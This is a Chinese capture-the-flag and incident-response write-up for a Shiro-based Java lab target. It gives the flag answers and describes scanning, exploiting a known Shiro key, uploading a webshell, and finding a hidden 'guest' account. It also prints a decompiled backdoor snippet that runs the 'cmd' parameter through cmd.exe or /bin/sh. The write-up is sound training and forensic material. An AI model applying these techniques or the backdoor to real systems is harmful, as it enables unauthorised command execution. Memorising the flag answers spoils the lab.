第八章 内存马分析-java02-shiro.md

First Post:

Last Update:

练习地址:挑战 · 玄机 - EDISEC

靶机来源 @vulntarget
靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget
本题不提供靶机账户密码请根据nacos 获取的shirokey 攻击靶机后登录应急

1.将 shiro 的 key 作为 flag 提交
在 java1 里:

flag{KduO0i+zUIMcNNJnsZwU9Q==}

2.隐藏用户后删除,并将隐藏用户名作为 flag 提交

flag{guest}

3.分析app.jar文件是否存在后门,并把后门路由名称作为 flag 提交

flag{/exec}

4.分析app.jar文件,将后门的密码作为 flag 提交

flag{cmd}

过程:
用fscan扫描,得到22端口和8088端口,并且扫描出来了两个url,点击网址,跳转登录界面

根据题目,我们知道了是shiro框架,我们利用工具进行注入

秘钥是java1里知道的秘钥,点击检测当前秘钥,发现的确是shiro框架

然后点击爆破利用链及回显

然后我们就可以在功能区进行命令执行和木马上传

然后利用蚁剑进行连接,记得选择连接类型是JSP

查看/etc/passwd文件,发现有一个名为 guest 的管理员用户,这与 root 用户重复,所以这个用户是隐藏用户

下载app.jar文件

使用java反编译软件 jadx 进行反编译

发现这里有漏洞(后门),有一个路由 /exec 接受一个参数 cmd 的传值

1
2
3
4
5
6
7
if (cmd != null) {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder("cmd.exe", "/c", cmd);
} else {
p = new ProcessBuilder("/bin/sh", "-c", cmd);
}

  • 获取操作系统名称并将其转换为小写,检查其是否包含 "win" 字符串。
  • 如果操作系统是 Windows,则执行 cmd.exe 命令和/c 参数创建一个新的 ProcessBuilder 对象。/c 参数用于告诉 cmd.exe 执行指定的命令并立即终止。
  • 如果操作系统不是 Windows,则执行 Unix/Linux shell 命令。
  • 使用 /bin/sh-c 参数创建一个新的 ProcessBuilder 对象。-c 参数用于告诉 shell 执行指定的命令。

这样会导致任意命令执行,攻击者可以通过 cmd 参数执行任意系统命令

reward
支付宝 | Alipay
微信 | Wechat